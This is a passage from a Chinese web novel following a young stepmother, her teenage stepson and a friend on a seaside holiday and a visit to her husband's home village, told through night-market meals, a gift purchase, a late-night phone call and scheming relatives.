“路上遇到的路人。”金苒随口道。 徐珍和江许黎便没有再问,两人已经拿了许多吃食,其中还有好几样金苒喜欢的。 她有些诧异,徐珍捂着嘴笑:“都是田螺小黎拿的。” 江许黎干脆避开视线,滚烫的耳根却是遮掩不住:“你来的这么晚,东西都要没了。” 金苒忍着笑道谢,并当着少年的面尝了几口,鲜美的味道让她毫不吝啬表达夸赞。 不愧是海鲜大省,味道比程管家买的那些有过之而不及,后面她逐渐沉浸到美食的海洋中。 偶尔脑海里闪过一丝念头,好像有什么事没做完,但美味当前,这点小念头很快就被抛到了九霄云外。 与此同时,远在A市的江明羧盯着沉寂的对话框,想到几个小时前说会想自己的女人,脸色逐渐黑下来。 第65章 第65章江许黎同样想到了他爸…… 吃完自助海鲜回房间后,金苒才后知后觉自己和江明羧的聊天还没有结束。 连忙拿出手机同对方解释了一声,好一会儿,对面回复了一句“好”,看着似乎没有介意的样子。 金苒放下心来,转头在小群里说起这几日的计划。 等到夜幕降临,太阳转到了天地另外一边,虞山的气温终于显现出来它应有的凉爽。 从酒店出来,海风迎面拂过,吹得衣裙阵阵,白天的燥热被轻而易举地驱散,远处传来海浪拍打的声音,夹杂着夜市的喧闹,整座城市仿佛在这一刻彻 底苏醒过来。 徐珍的计划很全面,囊括了美食和景观,人文和社会。三人先去了附近的小吃街,吃虞山的地方特色辣炒蛤蜊和鲅鱼水饺,又喝了啤酒味的奶茶,不过为了尝鲜,买的每一份分量都很小。 金苒和徐珍习以为常,她们在学校食堂时为了能够吃到各种不同的美食,便经常拼着买。 江许黎却有些不习惯。 倒也说不上讨厌,只是看着她们这样亲密的姿态,心底隐隐生出一丝羡慕来。 他想起小时候在陈训良家吃饭的场景。陈训良爱挑食,碗里的饭菜经常剩下一大半,陈妈妈虽然每次都会生气地训斥,但最后又会默默地把那些剩饭吃完。 后来他也故意在吃饭时剩下饭菜,起初他爸根本没发现,后来察觉了,却认为他是挑食,直接让管家收走所有饭菜,让他饿了一晚上的肚子。 自那之后,江许黎再也不会用小手段去试探江明羧了。 因为他爸根本不在意。 眼底流露出几丝自嘲和苦涩,忽而,面前出现了一个插着烤鱼的竹签。 “这个多春鱼味道好,鱼籽饱满,吃起来有爆珠的感觉。” 不知道什么时候,金苒手中又多了一份新的小吃,在和徐雅品尝过味道后,顺手递给了身边的江许黎。 “你尝尝,回去给王厨描述一下,说不定可以复刻出来。” 动作自然而然,仿佛是什么稀疏平常的事情,以至于江许黎根本没有时间再感怀悲秋。 看着几乎戳到鼻子眼的食物香味,他很想硬气地拒绝,终究还是屈服于香味,默默低头接了过去。 咬一口,好像是不错。 目睹这副画面,金苒悄无声息地勾了勾唇角。 她其实是故意递给江许黎的。 俗话说半大小子吃穷老子,在家时这位大少爷一顿能吃四五碗米饭的食量,可来到这里后,跟着她们两个女生反而没有吃什么,金苒断定他肯定不饱。 除此之外,她无法忽略回头时看到的那一幕。 市井烟火,人声鼎沸,唯独少年垂着脑袋,帅气的脸庞上写满落寞,像极了被主人抛弃的大型犬,那一瞬间,她内心深处最柔软的地方被戳中了一下。 猫猫和狗狗要一视同仁呀。 后面有金苒主动“投喂”,江许黎果然显露出来他真实的饭量。 就连徐珍这个美食达人都吃撑了,他还像没事人似的,给多少吃多少,酸甜咸辣来者不拒,堪比干饭机器。 于是金苒就放心买更多的东西。 中途的时候,徐珍的手机突然响了一下,夜市嘈杂,她不得不走到旁边接听,没一会儿急匆匆回来:“学校那边有点急事,我得先回酒店处理一下。” “学校?”金苒一愣。 “还不是那个王萍萍的家长。”徐珍语气有点儿不好。 这件事情金苒听徐珍抱怨过好几次,她们班有个女孩的父母重男轻女,动辄打骂孩子,还不给孩子吃饱饭,被徐珍撞见好几次低血糖晕倒:“她们家条件差了点,但没有差到吃不起饭的份上,王萍萍那个弟弟更是胖得跟个小猪墩似的,现在更离谱了,居然打算让孩子暑假去南边打工。” “说是去亲戚那儿赚点钱,可谁知道开学后还能不能回来?” 电话是王萍萍打的,小姑娘对新来的语文老师很信任,遇到问题实在不知道向谁求助,徐珍叹了口气:“总而言之这事不能不管。”她有些歉意,“说好带你们好好逛一逛的,结果现在要失言了。” 金苒笑起来:“我又不是小孩子,而且你做的攻略那么详细,我们自己逛完全没问题。” 事有轻重缓急,她没有说陪着徐珍回去,毕竟自己不是那位学生的老师不好轻易插手,另一方面,也是知道尚未到焦急的地步:“如果有需要的地方,可以和我说。” “嗯嗯,放心吧,一定不会跟你客气。” 徐珍提前回了酒店,金苒和江许黎则留下来,继续逛街。 在小吃街绕了一圈,金苒打开计划表,看到有个西式教堂和文化广场就在附近,索性在吃完所有想吃的美食后,带着江许黎过去打卡。 然而真正到了地方,才发现网红景点人头攒动,到处都是举着自拍杆的游客,路两边挤满了卖纪念品的小摊贩,走近了看,一模一样的N胞胎! 这让金苒有些失望。 比起人造的网红景点,她更喜欢虞山的自然景观。 不过秉持着来都来了的原则,她还是打算入乡随俗,好好逛一逛。 比如路边的小商品虽然重复率高了点儿,但多少带点儿纪念色彩。 考虑到上次江明羧出差带回来的地方特产,自己是不是也应该礼尚往来,给对方带点儿特产? 这边金苒想到了江明羧,另一边的江许黎同样想到了他爸。 徐珍说话没有避人,江许黎自然听见了王萍萍的事情。从小锦衣玉食的富家小少爷,和父亲关系剑拔弩张,且一直认为他爸对他不好,从来不关心他的想法和需求。 现在得知世界上还有不给孩子吃饱饭的父母,突然发现自己过得还算不错? 甚至于,他想起了之前医院里的那一幕,当时江许黎只觉得父亲故意训斥自己,现在回想起来,其实对方说的没有错。 自己能够这般肆无忌惮,无非是仗着“江家”的名号,如果没有父亲在背后支撑,他还能过着这样的生活吗? 少年心头涌上一阵茫然。 难道……他真的错了吗? 或者说,他就不应该来到这里? 第66章 第66章你爸那个年纪还喜欢这种…… 金苒想要买“特产”,便拉着江许黎做参考,美其名曰,当儿子更了解父亲的喜好。 虞山临海,所以当地的“特产”多为贝壳做的饰品或摆件,虽然细节欠佳,但有些样式还算不错。 金苒逛了会儿,从一个摊子上拿起了一个手链。 乍看很普通的手链,由数十个指甲盖大小的贝壳串起来,颜色多为乳白,底子上浮着淡褐的纹路,大概提前打磨过,边缘圆润,戴上不会划伤皮肤。 两个漂亮帅气的年轻人站在自己摊子前,连带着生意都好起来,摊主阿姨很是热情地招呼:“小妮儿来看看,咱们家是纯手工做的!要是中意,给你算便宜些。” 金苒之所以停在这个摊位面前,就是看中了摊子上贝壳的精致,原来是纯手工做的呀,她放下手中的手链,又拿起另外一个。 与之相比,现在这个更漂亮点,莹白的色彩,靠近灯光照一照,表面流淌折彩虹般的波纹,煞是好看。 江明羧手腕上戴的都是几百万的名表,金苒也没有想着对方会戴手链,她挑选这个是想给他做车摆用的。 为什么没有买专门的车搭……这个问题好,因为金苒就是故意让一个女孩子的东西出现在男人的车上,既考察对方反应,又有宣誓主权的意味,属于光明正大的阳谋。 阿姨还在孜孜不倦推销自己的产品,金苒转头询问江许黎的意见:“你觉得这个怎么样?你爸爸会喜欢吗?” 江许黎一开始还以为她给自己买的,乍然听到其实是送给他爸,表情顿时变得微妙。 他爸怎么可能戴这种女孩子气的东西? 可看着金苒兴致勃勃的模样,到嘴边的刻薄话咽了回去,他抿了抿唇,目光在摊位上快速扫过,也没有看清楚,随便指一个相对男性化的摆件:“要不……选那个吧。” 金苒顺着方向看过去,只见手指尽头是一个贝壳版的“海贼王”,忍不住脱口而出:“你爸那个年纪不应该喜欢这种吧!” 江许黎:“……” 海贼王是一个日本的热血漫画,受众广泛,深受中二少年喜欢,金苒在学校的时候便经常听到学生谈论。 但里面肯定不包括电视只看新闻联播的江明羧。 江许黎也意识到自己的建议并不妥当。 可道理是这个道理,但他听着莫名觉得不对劲,有些想笑,又忍住了,俊朗的脸颊几经绷紧,嘴角抽啊抽,反而变得有些狰狞。 金苒却是不再相信江许黎,犹豫了会儿,最后还是拿了第二个手链。 结账的时 候,二十块的小手链让金苒稍稍心虚。 随即安慰自己,礼轻情意重,尤其像江明羧那样的霸总,最不缺的就是钱,虽然这个贝壳手链便宜了点,但里面可是充满了自己最真诚的心意。 两人付完钱离开,前面不知道发生了什么,人流似乎都在朝着那儿涌,金苒和江许黎本来想离开,结果根本动弹不得,只能被拥挤着往前移动。 等某个时刻,发现身边早就没有江许黎的身影后,金苒吓得心脏落跳一拍。 但很快她就镇定下来,给江许黎发了一条信息告诉自己在进来的地方等他,而后回到入口,找了一处干净的石头台阶坐下等待。 夜晚的海与湛蓝的天连成一片,远处灯光零星洒在海面上,随着波浪轻轻晃动,像碎了的星辰,潮声舒缓,一下又一下,人心仿佛静了下来。 可惜这会儿只有自己一个人能看到。 金苒难得感到一点点寂寞。 好像无论上辈子还是这辈子,很多时候,她都是自己一个人。 想了想,金苒打开相机拍了一张照片。 伴随着“咔嚓”的响声,将这片美景永远定格。 / 十分钟后,金苒收到了江许黎的回复。 【等着】 言简意赅,倒是很符合少年那一贯冷淡的作风。 怕两人再次错过,金苒没有挪动位置,果然距离自己收到消息三分钟,她就在前面的人群中看到了江许黎的身影,于是抬起手挥了挥。 江许黎也看到了她,正要加快脚步过来,却在距离五六米远时,被一个女孩拦住。 “帅哥,可以打扰你一点儿时间吗?” 见状,方才还在挥手的金苒立刻装作不熟的样子,若无其事地把手放下。 江许黎:“?” 金苒却是一脸欣慰。 江许黎长得清郎帅气,无论在哪都属于校草的存在,但她去文承教书后,才发现对方居然没有女生追。 这会儿见便宜好大儿的美貌终于被发现,心中倍觉感动,并有一种家养的猪终于被白菜看上了。 她偷偷朝江许黎挤眉弄眼——干巴爹! 江许黎:“……” 女孩背对着大海,没有发现身后的金苒。 从刚才起,她就一直悄悄打量着江许黎,少年挺拔的身姿和出众的相貌让她心脏扑通扑通跳动,眼看对方要离开,在闺蜜的怂恿下,她终于鼓起勇气站出来。 “什么事?” 江许黎问。 女孩虽然脸颊泛红,却落落大方地问道:“请问你有女朋友吗?如果没有的话,我们可以认识一下。” 江许黎明显怔住,大概没料到是被搭讪,他很快恢复冷淡的表情:“不太方便。” “为什么呀?”女孩不死心地追问,“就当普通朋友认识一下也不行吗?” “有人在等我。”江许黎简短回答,随即绕过女孩,走到正在看戏的金苒面前:“看够热闹了?” 金苒意犹未尽:“其实还没有。” 女孩这才注意到金苒的存在,看着两人熟稔的互动,和金苒那张精致漂亮的脸蛋,她顿时恍然大悟,连忙道歉:“对不起!打扰你们了!”说罢转身就跑走了。 徒留金苒站在原地,有些莫名其妙。 不过望着女孩远去的背影,她有些无语:“江同学,人家小姑娘鼓起勇气来搭讪,你就不能温柔点嘛,难道你以后也这样对女朋友?” 江许黎不以为意:“她又不是我女朋友。” 语气要多直男有多直男。 金苒翻了个白眼:“有没有一种可能,按照这样的发展,你可能找不到女朋友?” “不会。” 对此,江许黎倒是很有信心,“我爸都能找到。” 他自认比他爸还是强一点的。 金苒:“……” 你爸知道你背后这样说他吗? 嘴巴张了张,有些欲言又止。 最后金苒还是没说什么,脑海中却是控制不住想到了那天夜里,两人坐在客厅喝酒的画面。 昏暗的灯光,不可忽视的充满侵.略的视线,还有握住她腰时的角度,和吮.吸唇瓣的力道。 不由得撇撇嘴,那男人看着冷酷,实际比谁都会撩。 内心正默默吐槽,前面,江许黎忽然回头问:“吃冰激凌吗?” 霎那间,什么羞耻,什么恼怒,全都抛之脑后,金苒高兴地点点头:“吃,我要抹茶味的!” 第67章 第67章让他认认他爸小时候生活…… 虞山走红后,这段时间源源不断吸引来自全国各地的游客。 不少网红主播也慕名前来直播,恰好,其中一位主播的镜头意外捕捉到了正在买冰激凌的继母子俩。 起初主播并未察觉,直到晚间剪辑素材时,才注意到视频中这对气质出众的素人。 斟酌片刻后,他决定保留这段画面,并以“那些年误入镜头的惊艳素人”为话题tag发布了视频。 正如他所料,视频刚发布,他的粉丝们立即就被这对高颜值母子吸引了目光。 【啊啊啊啊!开屏美颜暴击!】 【怎么回事,今天的开屏居然不是主包那张丑脸了?话说主包这是从来请来的明星,还是网红?】 【不认识啊,感觉是素人】 【男生好帅啊,主包在他面前好像端茶倒水的小太监,对比惨烈】 【女生也很漂亮,像古代那种大家出身的名门闺秀,表面举止娴雅,落落大方,实际没有人的时候又会露出狡黠多变的俏皮可爱】 【天!!!有谁注意到男生把冰激凌递给女生时的表情么,好傲娇好宠啊!】 【突然想起陈导官宣的仙侠剧中女二就属于人前人后两种性格的大家闺秀,我记得还没有找到合适的演员吧?】 【陈导最爱启用新人,不如……】 于是一群“热心肠”的网友涌入陈导的微博,在评论区纷纷献策,等陈导上线时,先是被满屏的留言搞得一头雾水,待看清网友截图的画面后,顿时来了兴趣,当即吩咐助理去打听这个女孩的来历——不过这都是后话了。 对此,还在虞山的金苒尚且一无所知。 回到酒店,她先去徐珍那儿了解了一下情况,得知已经暂时安抚好王萍萍,也告知班主任帮忙看着点,不由得松了口气。 “无论如何,解决了就好。” 徐珍疲惫地揉揉脸:“谁再说当老师简单我就跟他拼了!”连假期都要随时待命,还是无偿加班,简直比社畜还是社畜。 一边说着,一边还要动一动鼠标,以防线上继续教育课程判定她挂机。 见状,金苒想起自己的线上课程还没有刷够,和徐珍互道晚安后,也回到自己的房间刷课时。 不过在此之前,她注意到朋友圈亮起一个小红点。 点开后是自己发的那条海景朋友圈。 当时为了贴合情境,她特意从网上找了一个忧郁文案:【被人惦记是件难得的事情】 评论区—— 徐珍:【啊,好想去看,但要加班】 老师A:【小金这是去旅行了?风景不错】 王老师:【速度这么快,你们已经到达虞山了?】 …… 金苒的视线却落到最下面一条回复。 江明羧:【有人惦记】 简简单单四个字,却让金苒嘴角不自觉翘起弧度,她看了一眼时间,已经十二点钟,试探着给江明羧发了个通话邀请。 没想到很快就被接通了。 “滴”的一声提示音后,听筒里便是短暂的静谧,清晰到可以听到彼此浅淡的呼吸,若有若无抚过耳畔,带着几分克制,撩得耳廓微微有些酥麻。 一时间,谁都没有开口。 最后还是金苒忍不住了,咳了咳:“那个,有事?” 江明羧“嗯”了声,话家常般随意问:“玩的开心吗?” 金苒点了点头,同时跳跃的心也渐渐安静下来,语气轻松:“还可以。” 继而回忆了番,列举玩得开心 的论证:“吃了很多好吃的,逛了很多景点,还认识了许多新的朋友。” “听起来不错。”江明羧平静地点评,金苒似乎听见了笔尖划过纸面的沙沙声。 她从床上爬起来,坐到窗边竹编摇篮椅里:“有一家烤鱼特别好吃,店面是新开的,你应该没有吃过,下次有机会带你来吃,对了,你看到那张海景图了吗?” “看到了,拍的比我记忆中还漂亮。” 夜风拂过窗帘,金苒叹了口气,实话实说:“其实和网上还是有差别的,海水根本不蓝,沙滩上全是脚印,网红景点害人不浅。” 江许黎笑了笑,顺着她的话道:“东湾我没去过,我小时候都是在村子后的沙滩上玩,那边没有人,海还挺蓝的。” 闻言,金苒来了兴趣:“要不然我和徐珍说一声,改变地点?” “大概不行,那边不属于开发区,没有专业人员陪同并不安全。” “那算了,”金苒虽然想看美景,但更加爱护小命,转而又说起江许黎被要联系方式的事情。 话题跳跃又天马行空,江明羧竟也能接上话,两人不知不觉中聊了很久,直到金苒无意瞥见墙上的钟表,猛地发现已经凌晨两点! 金苒吓了一跳,自己不用上班,江明羧还要上班呢!!!她顿觉心虚,嗓音带了点儿不好意思:“江明羧,你昨晚几点睡的?” “两点多,怎么?” “确认一下现在找你还不算太晚。” 江明羧却说:“你给我打什么时候都不晚。” 金苒不得不承认,这句话让她心情如同喝了冰镇雪碧似的,浑身舒畅。 她碾了碾耳尖,望着窗外的夜景,语气轻快:“这可是你自己说的,以后说不定我会经常半夜突击,要是被我听到什么其他声音……” 她语调压低,带着点儿阴恻恻的威胁。 江明羧有些好笑,故作不解:“声音?比如?” “比如什么陌生女人在说话?” 谁知在说完这句话后,对面竟陷入沉默,金苒心头一紧,难道被自己说中了? 她蹙起眉头,正要追问,忽而听到对面轻笑了声,像清泉撞击山石般沉闷:“那你大概要失望了,能半夜出现在我身边的,除了王助理,剩下的只有一个人。” “谁?” 这样问,金苒心里却已经有一个答案,果不其然下一秒便听到回答:“我太太。” 嗯。 太太。 我太太。 谁说这男人不懂风.情的? 金苒抿了抿唇,却压不住上扬的嘴角,柳眉下圆润的杏眼弯成了月牙,不管这话是真是假,至少此刻她的心情确实很不错。 心情好了,自然不吝啬说点儿好听的话。 于是挂断电话时,口中的“晚安”变成了“想你”。 “刚离开一天就有点想你,真希望早点回去呀。” / 夜色浸了墨,泼了满天地的丹青。 手机屏幕的亮度逐渐暗下,又彻底熄灭。 坐在书房的江明羧望着手机屏幕,想的却是白天的事情。 前脚说想他,后脚就把人忘得一干二净。 真是小骗子。 他摇摇头,继而抬手点开电脑网页——那是最近的航班信息,盯着屏幕犹豫片刻,最终还是关掉了页面。 再等等,现在还不是时候。 / 旅行是一个充实又劳累的事情。 好在队伍的三人都是高精力人群,几天的时间,三人便逛遍了虞山的景点,根据推荐,品尝了许多特色小吃。 有的小吃令人眼前一亮,有的却味道猎奇。三人当着老板的面强撑微笑,等对方一转身,立刻露出扭曲的表情。 金苒还去了心心念念的海边沙滩。 可惜沙滩大,游客也多,平静的海面波浪呈现出灰蒙蒙的雾色,她穿着漂亮的泳衣,最终还是没有克服心理障碍,像其他人一样“下饺子”扎进海里。 而租了三辆水上摩托艇,在工作人员的带领下兜了好几圈。 第五天,徐珍提前返程。 原本她们的计划是玩五天时间,后续如果玩得开心,再多留几天。 但徐珍不放心王萍萍:“那个孩子从小没有得到过父母的偏爱,如果连学习的机会都没有了,会被毁掉一辈子。” 或许因为她们是代课老师,或许她们心中还存着最初的教育热情,徐珍不知道其他老师面对这样的事情会如何做,但她自己无法坐到视而不见。 即便她只是一个代课老师。 金苒二话不说,把最近买的一些虞山特产给徐珍装上:“你的特产还没有买吧,这些先拿回去。” “未满十五周岁打工属雇佣童工,如果家长坚持,或许可以找律师。” “还有,我记得学生们不是有社会实践吗?实在不行就从这方面想办法。” 全程都没有对徐珍的决定做质疑,徐珍感动地眼泪汪汪,抱住香香的闺蜜:“我现在有点儿嫉妒江总了?” 金苒一脸疑惑:“嗯?他怎么了?” “谁让他娶走了你这个仙女啊。” 金苒噗嗤笑出声,随即煞有介事地点点头:“有道理,回头我一定把你的观点转达给他。” “那还是算了。”徐珍瞬间怂了,仙女需要阳光雨水细心呵护,日常饮露餐风,栖月眠云。 而像江明羧那样有能力的男人,才能娇养得起一朵肆意绽放的玫瑰。 / 江明羧的老家在虞山下面的一个村子,从酒店过去要两个小时的车程,为了方便,他们只能退了现在的住处,准备到镇上再找新的落脚点。 金苒收拾行李的功夫,江许黎已经去外面租车。 而那些司机听说要去的地方,纷纷坐地起价,江许黎这样的大少爷平常哪里租过车,等金苒提着行李下楼时,少年已经花了两倍的价格包下一辆面包车。 金苒……看着少年从早晨就紧绷的表情,就不说什么了。 只心里默默叹了口气。 虽然没有说出口,但她觉得这么多年江明羧的那位前妻都没有来见过孩子,甚至从未听说过对方的消息,这里面大概有什么难言之隐。 也不知道这次能不能成功见到人。 这样想着,她同样保持了安静,留出空间让少年默默消化。 早晨出发,中午面包车才到达平村,因为江明羧说会有人接待他们,两人便没有在镇上停留,直接让司机将车开到了村里。 正值大晌午,村里的大槐树下坐着许多乘凉唠嗑的村民,车子一开进来,就引起了众人的注意。 等是金苒和江许黎下车,村民们已经停下闲聊,好奇地打量着这两个衣着光鲜的陌生人。 倒不是因为两人穿着好,而是身上流露出来的那种气质,金苒一袭淡蓝色连衣裙,肌肤如雪,江许黎则穿着夏款运动服,又高又瘦,一看就是没有做过农活的城里人。 村民们不由得面面相觑。 平村位置偏僻,虞山的出名就像头顶飘过的云,看得见却摸不着,现在村里突然出现两个格格不入的城里人,大家心里警惕又好奇。 不过没等他们有所反应,两人中的女人便朝这边走过去。 “请问,江海阔家在哪?” 年轻漂亮的姑娘笑起来格外亲切,嘴角露出两个浅浅的梨涡,让人不自觉地心生好感:“沿着这条路往前走,看到大槐树后左转第三家,门口两墩石狮子的那家就是。” 热情的大娘伸手帮忙指路,而后试探着问:“姑娘从哪来啊,是海阔家的亲戚?” “算半个亲戚吧,我先生和江海阔是发小朋友。” “你家先生也是我们村里人?” “对啊。”金苒顶着四面八方的视线,不动如山地微笑,“我先生叫江明羧,以前就是平村人,这次趁暑假特意带孩子回来看看,也让他认认他爸小时候生活的地方。” 第68章 第68章你和你爸小时候长得很像 江明羧的老婆孩子回平村了。 不到半天时间,这个消息就像长了翅膀似的,传遍了整个村子。 村民们又惊又奇,江明羧可是他们村子走出去的第一个大老板。尤其在十几年前,平村连大学生都寥寥无几的时候,江明羧一个无父无母的孤儿硬是考上了最好的W大,后来又白手起家创办了明技科技。 虽然村民们未必清楚明技科技在行业内的地位,但有一点他们知道,当年那个孤僻凶狠的“狗崽子”,如今已是风光无限的大老板。 不过再感慨,只是停留在感慨的阶段,因为这十几年来,江明羧从来没有回过村。 这没什么,对大多数村民来说,江明羧跟他们没什么交情,人家发达了也跟他们没关系。但有些人就不一样了,看着如今仍在村里生活的江老川一家,有村民便幸灾乐祸地问:“老川媳妇,明羧的老婆孩子都回来了,你不赶紧回家做饭,还在外面闲逛干嘛。” 旁边的人接话:“哎哟,人家明羧媳妇不是说去江海阔家吗,海阔那小子从小就和明羧玩的好,比亲生兄弟还要亲呢。” 这话就有点儿夹枪带棍,放在往常王翠花定要和人对骂个狗血淋头,可眼下却顾不得了。 谁回来了? 她先是一愣,随即猛地反应过来,前段时间她男人去A市找江明羧要钱,结果被关进了局子,到现在都没放出来。 她和家里人到处托关系想办法,结果连江明羧的面都见不着,现在听说江明羧的老婆孩子来了平村,自然是高兴不已。 当即朝那几个说闲话的村民狠狠啐了一口:“我那侄媳妇和侄孙子去哪关你们屁事,反正不会去你们家!”说完就急急忙忙往家跑,看样子是急着回去跟家里人商量对策。 王翠花一走,几个村民就朝她背影啐了一口。 “也不知道当年是谁把孩子赶出门,现在倒好意思贴上去,真不怕遭报应!” “可不是嘛,脸皮比城墙还厚。” 话虽这么说,可大伙儿心里都清楚,江老川毕竟是江明羧的亲大伯,打断骨头连着筋,人家关起门来终究是一家人,外人说再多都白搭。 就在村民们议论的当口,金苒见到了江明羧的老友江海阔。 男人三十多岁,常年生活在海边,皮肤晒得黝黑,笑起来给人憨厚老实的样子,不过金苒见识了扮猪吃老虎的王特助,可不敢再以貌取人。 江海阔这次算是临危受命。 虽说小时候和江明羧玩得好,但这些年两人来往确实不多。 前几日接到江明羧的电话,他还感到奇怪,再听到对方拜托他帮忙照顾一下家人,江海阔更是震惊不已。 他甚至都不知道他又结婚了。 视线隐晦地打量着眼前的金苒,毫无疑问,眼前的女人是漂亮的,除此之外,眉眼间透着股清透劲儿,举手投足大方得体。 江海阔不由得想起江明羧上段婚姻的种种糟心事,心里一时百感交集。 无论如何,总归是苦尽甘来了。 至于旁边酷酷的少年,江明羧笑容更深了些:“你和你爸小时候长得很像。” 闻言,江许黎怔了怔。 这还是第一次有人说他和父亲长得像,在此之前,他耳边萦绕的都是诸如“比不上你爸”、“没你爸当年出色”之类的话。青春期的少年最烦被人拿来比较,听得多了,反而越发叛逆。 可此刻,江许黎心里居然泛起一丝异样,连他自己都习惯了被否定,现在突然有人告诉他,其实他和父亲很像? 金苒同样有些好奇:“他们长得像吗?” 从她的角度看,父子俩只有眉眼相似,清一色多情桃花眼,只是眼神淡漠,多情反变无情,其他地方却是不太像。 江明羧的面部轮廓更为棱角分明,下颌线条坚毅,透着成熟男性的沉稳;而江许黎的五官还带着少年特有的柔和感,眉宇间少了凌厉,多了几分青涩。 江海阔确定地点点头:“尤其看人的样子,简直一模一样。” 可不么,当时的江明羧就是这样拿眼神觑着一群围住他的小混混,明明穿着洗到发白的衣服,明明穷得连学费都交不起,只能在游戏厅打零工,依旧一副泰然自若的姿态。 仿佛其他人都是什么蝼蚁似的。 现在想想,江海阔还觉得牙痒痒呢。 金苒听得津津有味。 三十五岁的江明羧成熟稳重,无论面对什么场合都能保持沉着冷静,将情绪完美掩藏在波澜不惊的表象之下,十五岁的江明羧却是一把没有带鞘的刀,割伤别人的同时也划破自己。 她仿佛能从江海阔讲述的往事中,窥见深陷泥淖却依然挺直脊梁的年轻人。 锋芒毕露,桀骜不驯。 第69章 第69章我来接你们回家 后面听到江明羧打赌跳海,戏弄一群人在海里扑腾了半宿,最后还故意把人引进了养殖区,导致几个小混混弄坏了渔民的海参,赔偿三千块,金苒终于忍不住噗嗤笑出声。 她偷偷和江许黎咬耳朵:“没想到你爸心眼还挺黑。” 江许黎觑了她一眼。 心想,一直挺黑的,恐怕只有她觉得他爸光明伟正。 江海阔的老婆准备了一大桌子海鲜,靠海吃海,平村的村民日常饮食就是各种鱼虾贝壳,但给客人肯定不能马虎,都是平日攒的好东西。 金苒见状连忙伸手帮忙,对方哪里让客人动手,笑着道:“我和海阔结婚的时候,江哥还让人送来了红包,何该请你们吃饭。” “就是啊,嫂子你别和我们客气。” 旁的不说,江海阔一个三十多岁的大男人面不改色叫嫂子,足以证明江海阔和江明羧关系真不错,意识到此,金苒便不再和他们客气。 饭吃到一半,外面传来一阵吵闹的喧嚣声。 原来是王翠花带着家里人找过来了。 从村民那儿得知金苒和江许黎回村,王翠花立刻和儿子儿媳商量一番,最后一致觉得不能就这么让两人去别处——要知道这些年他们一直想和江明羧修复关系,奈何每次都见不着人。 她儿子却说,幸好这次来的是江明羧的老婆和孩子,尤其现在的老婆还是后娶的,肯定不知道以前的事,与其让她在旁人那儿听说什么添油加醋的言论,不如他们主动把话“说开”。 她儿媳也表示让老娘委屈点儿,想想还在牢里的江老川,他们只能巴结着两个人。 于是一家人顾不得吃饭,紧赶慢赶来到江海阔家。 因为江明羧对江家人一向排斥,和金苒结婚的时候没有邀请他们,但房间里统共就那么几个人,王翠花还是一眼认出了金苒。 说实话,打第一眼便不是很喜欢。 太漂亮,太自信,一看就不是能拿捏的主。 至于如何得出这样结论,自然是和之前的那位做比较。 大部分人都不知道,当年江明羧的第一任妻子其实是王翠花给张罗的。 一开始江明羧从他们家离开,江老川和王翠花还暗自庆幸,巴不得和这个侄子撇清关系。可谁能想到,转眼江明羧就得了贵人相助——有位大老板看重他的聪明,愿意资助他读书,更让人吃惊的是,在平村这个十几年都出不了一个大学生的地方,江明羧居然真考上了大学! 这还不算完。 大学第二年假期时,江明羧带回一笔钱,把父母的坟修一新,而修坟的钱,据说是和同学创业拿到的。 这下子,江家人坐不住了。 江明羧是江家的人,江老川作为他的亲大伯,和半个父亲也没有区别,现在对方考上大学远走高飞,他们发觉再也控制不住他,于是想方设法给他找了个邻村的女人。 那女人也乐意当这根“风筝线”,双方一拍即合,趁着假期回来,王翠花和江老川暗中下药,让江明羧和那姑娘生米煮成熟饭,硬是把这门亲事定了下来。 原本一切都在他们的掌控之中,结果不到两年,那姑娘听到江明羧创业失败的传言,吓跑了! 把柄没了,江明羧直接抱着孩子 去了A市,再也不受他们摆布,王翠花气得咬牙切齿,却也无计可施。 眼下她收起所有的思绪,将注意力放到眼前的继母子身上。 她也聪明,没有上来就和金苒说话,而是对着江许黎嘘寒问暖:“这就是我那侄孙吧,我是你大伯奶,你出生的时候我还抱过你呢。” 江许黎没有印象,但他对于长辈还算有礼貌,于是叫了声“大伯奶。” 王翠花顿时喜笑颜开,邀请两人去自己家。 江许黎想都没想就拒绝了。 不说同行的还有金苒,另一方面,他对这些亲戚其实没有什么感情。 金苒本身无所谓去那儿,见江许黎态度坚决,便得体地替他圆场:“小黎这孩子认床,在外头睡不踏实,而且明羧已经给我们安排好了住处,就不劳大伯娘费心了。” 态度温和,让人挑不出半点不是。 王翠花还能说什么?只好在江海阔那个粗人的注视下,暂时离开。 见状,江许黎犹豫了下,也跟着出去。 他没有忘记自己来平村的目的,江明羧对平村的一切都讳莫如深,更不要提江许黎亲生母亲的事情,他想要知道对方的信息,只能询问王翠花。 “哦,你亲妈啊。”王翠花眼神闪了闪,“改嫁了,跟着男方去了隔壁镇。” 江许黎对于改嫁态度倒是平静,因为在他意料之中。 毕竟他爸妈在他有记忆起就离婚了,这么多年过去,每个人应该有了新生活。 王翠花叹了口气:“之前我还想撮合你父母再婚呢,没想到这么短时间,你爸就又娶了新老婆,都说有了后妈就有后爸,要是你这后妈再生个孩子,以后你爸的公司说不定句要传给他呢。” 这话存着上眼药的心思,江许黎却好奇地看了她一眼:“我爸公司传给谁,关你屁事。” 王翠花嘴角的笑容顿时僵住了。 不按套路出牌就算了,怎么还骂人?! “我没有别的意思,”她尴尬解释,“主要害怕你一个孩子受欺负,你是你爸的亲生儿子,以后的家产理应是你的。” 江许黎依旧无所谓:“不关我的事。” 他对整天坐在办公室里没有什么兴趣,早就打定主意以后不进公司而是做自己喜欢的事情,如果他们俩有了孩子……他想了想,觉得也还不错。 反正他爸不可能饿死他。 这下王翠花已经无语了。 她简直怀疑自己的耳朵,要不是还要扮演“慈祥”的大伯奶,她很想抓住他晃一晃,看看这孩子是不是脑子有问题啊! 正当她心情崩溃的时候,忽然听到江许黎说:“时间不早了,我就不送你们了。” 说罢转身进了院子。 …… “呸,小杂种!” 等看不到人后,王翠花气得朝地上啐了一口唾沫,这大中午的,哪来的天黑?分明是借口不想跟他们说话。 江明羧不是个好东西,生的儿子果然也是个坏种! 她一边骂骂咧咧往家走,一边和儿子儿媳商讨接下来怎么办,刚走出没几步,晴朗的天空突然乌云翻滚。 紧接着,豆大的雨点便劈头盖脸砸下来,天色黑得伸手不见五指,仿佛被蒙上了厚厚的黑布,王翠花一行人还没反应过来,就被淋成了落汤鸡。 另一边,坐在乡村小院门口嗑瓜子的金苒看到江许黎回来:“问出来了?” 江许黎点了点头。 “那你要去看看她吗?” 这个“她”说的是谁,两人心知肚明。 江许黎却是犹豫了。 或许是近乡情怯,又或许担心对方已经组建了新家庭,怕自己的出现会打扰到他亲妈的生活。 “再说吧。” 